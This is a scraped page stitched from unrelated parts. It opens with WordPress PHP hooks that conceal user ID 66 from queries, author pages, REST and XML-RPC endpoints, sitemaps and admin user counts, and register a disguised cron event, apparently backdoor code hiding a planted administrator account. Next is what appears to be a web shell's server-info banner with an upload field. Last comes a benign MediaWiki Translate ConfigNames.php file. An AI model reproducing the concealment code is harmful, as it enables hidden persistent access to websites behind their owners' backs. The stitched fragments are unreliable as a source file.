add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/ |
Upload File : |
<?php
declare( strict_types = 1 );
// This file is automatically generated. Update by running update-config-names script.
namespace MediaWiki\Extension\Translate;
/**
* Constants for configuration variables for the Translate extension. Similar to MediaWiki core's
* MainConfigNames class with similar justifications: avoid typos, easier access to documentation
* and easier navigation.
*
* The constant values are a public interface via extension.json, but the constant
* names are internal to the Translate extension.
*
* @license GPL-2.0-or-later
* @since 2025.05
* @internal
*/
// phpcs:disable Generic.NamingConventions.UpperCaseConstantName.ClassConstantNotUpperCase
class ConfigNames {
/**
* Add language filter to the Special:RecentChanges
*/
public const RecentChangesLanguageFilter = 'TranslateRecentChangesLanguageFilter';
/**
* Associative array of content model IDs where page translation should be possible. Set to true to allow.
*/
public const PageTranslationAllowedContentModels = 'PageTranslationAllowedContentModels';
/**
* How language list for translatable pages is shown. Allowed values:
* * tag-only: Only display languages with the <languages /> tag.
* * sidebar-only: Display languages as interlanguage links only and ignore the tag even if present on the page.
* * sidebar-fallback: Display languages as interlanguage links if no tag is on the page.
* * sidebar-always: Display languages as interlanguage links and also in tag if it is present on the page.
* @since 2018.07
*/
public const PageTranslationLanguageList = 'PageTranslationLanguageList';
/**
* Language code for message documentation. Suggested values are qqq or info. If set to false (default), message
* documentation feature is disabled.
*/
public const DocumentationLanguageCode = 'TranslateDocumentationLanguageCode';
/**
* [Experimental] Enable integration with Lua modules using Scribunto extension.
*/
public const EnableLuaIntegration = 'TranslateEnableLuaIntegration';
/**
* Enable translators to watch message groups and receive notifications when messages in the group are added,
* removed or updated.
*/
public const EnableMessageGroupSubscription = 'TranslateEnableMessageGroupSubscription';
/**
* Name of the system user that will be used to create the sandbox users in the system.
*/
public const UserManagerName = 'TranslateUserManagerName';
/**
* Name of the bot which will invalidate translations and do maintenance for page translation feature. Also used for
* importing messages from external sources.
*/
public const FuzzyBotName = 'TranslateFuzzyBotName';
/**
* Default values for list of languages to show translators as an aid when translating. Each user can override this
* setting in their preferences.
*
* Example: LanguageFallbacks['fi'] = 'sv' or LanguageFallbacks['sv'] = [ 'da', 'no', 'nn' ].
*/
public const LanguageFallbacks = 'TranslateLanguageFallbacks';
/**
* Experimental support since 2011-03-11 for an 'Ask' help button. Might change into a hook later on. This is an
* array with keys page, url and params: page is a title of a local wiki page; url is an URL to use as is (e.g. an
* issue tracker submission form) which will override the page if set; params is an array of key-value pairs of
* request params -- each param value can contain the variable %MESSAGE% which will be replaced with the full page
* name.
*/
public const SupportUrl = 'TranslateSupportUrl';
/**
* Like $wgTranslateSupportUrl, but for a specific namespace. Each $wgTranslateSupportUrl-like array needs to be the
* value assigned to the numerical ID of a namespace of the wiki. Since 2015-09.
*/
public const SupportUrlNamespace = 'TranslateSupportUrlNamespace';
/**
* List of namespace numbers for which the call to action banner to mark the page for translation will be displayed
* to editors who have recently updated the page. Since 2024.05
*/
public const PageTranslationBannerNamespaces = 'TranslatePageTranslationBannerNamespaces';
/**
* When unprivileged users open a translation editor, they will see a message stating that a special permission is
* needed for translating messages. If this variable is defined, there is a button which will take the user to that
* page to ask for permission. The target needs to be reiterated with the second variable to have the same result
* with sandbox enabled where users can't enter the sandbox.
*/
public const PermissionUrl = 'TranslatePermissionUrl';
/**
* Enable page translation feature.
*
* Page translation feature allows structured translation of wiki pages with simple markup and automatic tracking of
* changes. See https://www.mediawiki.org/wiki/Help:Extension:Translate/Page_translation_administration
*/
public const EnablePageTranslation = 'EnablePageTranslation';
/**
* Enable use of analytics on Special:Translate
*/
public const EnableEventLogging = 'TranslateEnableEventLogging';
/**
* If set to true, when a user selects an interface language via ULS (Universal Language Selector), if the current
* page is a translatable page or a translation page then the user is also redirected to the corresponding
* translation page in the selected language.
*
* The language of the translation pages visited afterwards will still depend on the links followed (it will be the
* interface language only if the links use the Special:MyLanguage syntax).
*
* Since 2013-03-10.
*/
public const PageTranslationULS = 'TranslatePageTranslationULS';
/**
* If set to true, when a translated page has some units marked as outdated, the outdated translation will be shown.
* If set to false, the original updated unit in the original language will be shown.
*
* Changing this setting requires the following script to be run to take effect on existing changes:
* scripts/refresh-translatable-pages.php
*
* Since 2016.12.
*/
public const KeepOutdatedTranslations = 'TranslateKeepOutdatedTranslations';
/**
* Two-dimensional array of languages that cannot be translated. Input can be exact group name, first part before
* '-' or '*' for all. Second dimension should be language code mapped to reason for disabling. Reason is parsed as
* wikitext.
*
* Example:
* 'TranslateDisabledTargetLanguages': { '*': { 'en': 'English is the source language.' }, 'core': { 'mul': 'Not a
* real language.' }, 'ext': { 'mul': 'Not a real language.'} }
*/
public const DisabledTargetLanguages = 'TranslateDisabledTargetLanguages';
/**
* Represents the number of messages that can be queried via Special:MessageGroupStats when fetching message
* prefixes.
*/
public const MessagePrefixStatsLimit = 'TranslateMessagePrefixStatsLimit';
/**
* File containing validations that are to be skipped. See
* https://gerrit.wikimedia.org/g/translatewiki/+/master/groups/validation-exclusion-list.php for example.
*/
public const ValidationExclusionFile = 'TranslateValidationExclusionFile';
/**
* Two-dimensional array of rules that exclude certain authors from appearing in the exports. This is useful for
* keeping bots and people doing maintenance work in translations not to appear besides real translators everywhere.
*
* Rules are arrays, where first element is type: included or excluded. The inclusion list always overrules the
* exclusion list. Second element should be a valid pattern that can be given a preg_match(). It will be matched
* against string of format 'group-id;language;author name', without quotes.
*
* As an example, this rule would ignore all authors whose name ends in a bot for all languages and all groups:
* 'TranslateAuthorExclusionList': [ [ 'black', '/^.*;.*;.*Bot$/Ui' ] ]
*/
public const AuthorExclusionList = 'TranslateAuthorExclusionList';
/**
* List of namespace that contain messages. No talk namespaces. See
* https://www.mediawiki.org/wiki/Help:Extension:Translate/Group_configuration
*/
public const MessageNamespaces = 'TranslateMessageNamespaces';
/**
* Location in the filesystem to which paths are relative in custom groups.
*/
public const GroupRoot = 'TranslateGroupRoot';
/**
* The newest and recommended way of adding custom groups is YAML files.
*/
public const GroupFiles = 'TranslateGroupFiles';
/**
* List of possible message group review workflow states and properties for each state. The currently supported
* properties are 'color', the color that is used for displaying the state in the tables, and 'right', the
* additional right that is needed to set the state. Users who have the translate-groupreview right can set this in
* Special:Translate. The state is visible in Special:Translate, Special:MessageGroupStats and
* Special:LanguageStats. If the value is false, the workflow states feature is disabled. State name can be up to 32
* characters maximum.
*
* Example:
* 'TranslateWorkflowStates': {
* 'new': { 'color': 'FF0000' },
* 'needs_proofreading': { 'color': '0000FF' },
* 'ready': { 'color': 'FFFF00'},
* 'published': { 'color': '00FF00', 'right': 'centralnotice-admin' }
* }
*/
public const WorkflowStates = 'TranslateWorkflowStates';
/**
* Map from deprecated group IDs to their current ID. Example value: { 'core': 'mediawiki-core' }
*/
public const GroupAliases = 'TranslateGroupAliases';
/**
* Set location of cache files. Defaults to $wgCacheDirectory.
*/
public const CacheDirectory = 'TranslateCacheDirectory';
/**
* Configures how the message index is stored. Possible values are 'cdb' and 'database'. The first backend needs
* $wgCacheDirectory to be functional.
*/
public const MessageIndex = 'TranslateMessageIndex';
/**
* Whether to allow users to sign up via a sandbox. Sandboxed users cannot do much until approved and thus they can
* be get rid of easily. This only works with MediaWiki 1.27 and newer, and only if registration is configured to
* not use account creation providers which give REDIRECT or UI responses or require any other field than the
* default username/password/email.
*/
public const UseSandbox = 'TranslateUseSandbox';
/**
* To which group the translators are promoted. If left at false, they will just be removed from sandbox and become
* normal users.
*/
public const SandboxPromotedGroup = 'TranslateSandboxPromotedGroup';
/**
* Maximum number of translations a user can make in the sandbox.
*/
public const SandboxLimit = 'TranslateSandboxLimit';
/**
* Pre-save transform for message pages. MediaWiki does this by default (including for pages in the
* MediaWiki-namespace). By setting this to false it allows users to put untransformed syntax such as '~~~~' into a
* page without having them be transformed upon save.
*/
public const UsePreSaveTransform = 'TranslateUsePreSaveTransform';
/**
* Default action for the RecentChanges filter, which makes it possible to filter translations away or show them
* only. Possible values: 'noaction', 'only', 'filter', 'site'.
*/
public const RcFilterDefault = 'TranslateRcFilterDefault';
/**
* Currently supported YAML drivers are phpyaml or spyc.
*
* For phpyaml see https://secure.php.net/manual/en/book.yaml.php.
*
* phpyaml is the fastest and based on libyaml so the output should be most compatible. spyc output format is least
* compatible. spyc needs to be installed using composer. See https://www.mediawiki.org/wiki/Composer
*/
public const YamlLibrary = 'TranslateYamlLibrary';
/**
* Name of the default translation memory service. This service must accept updates.
*
* If left as the default `true`, the extension will fallback to 'TTMServer'. If `$wgTranslateTranslationServices`
* is also unconfigured, built-in values will be used to configure the TtmServer.
*
* If set to `false`, no translation memory will be used.
*/
public const TranslationDefaultService = 'TranslateTranslationDefaultService';
/**
* Define various web services that provide translation suggestions.
*
* Translation memories are documented in our main documentation. See
* https://www.mediawiki.org/wiki/Help:Extension:Translate/Translation_memories
*
* For Apertium, you should get an API key. See http://wiki.apertium.org/wiki/Apertium_web_service
*
* Yandex translation helper also provides langlimit option to limit total number of suggestions (set to 0 to get
* all possible translations) and langorder array to sort languages. Yandex translate engine is based on wordnet,
* generated from search index, so number of indexed websites should be a good heuristic to define the default
* language order.
*
* The machine translation services are provided with the following information: server ip address; versions of
* MediaWiki and Translate extension; source text to translate; private API key if provided
*/
public const TranslationServices = 'TranslateTranslationServices';
/**
* Add, disable or overwrite default stats type providers.
*/
public const StatsProviders = 'TranslateStatsProviders';
/**
* If true, enables the group synchronization cache that keeps track of FileBasedMessageGroups messages currently
* being processed via UpdateMessageJob
*/
public const GroupSynchronizationCache = 'TranslateGroupSynchronizationCache';
/**
* If set, displays a warning and does not allow user to move translatable pages having more subpages than this
* value
*/
public const PageMoveLimit = 'TranslatePageMoveLimit';
/**
* Enable experiment message bundle integration
*/
public const EnableMessageBundleIntegration = 'TranslateEnableMessageBundleIntegration';
}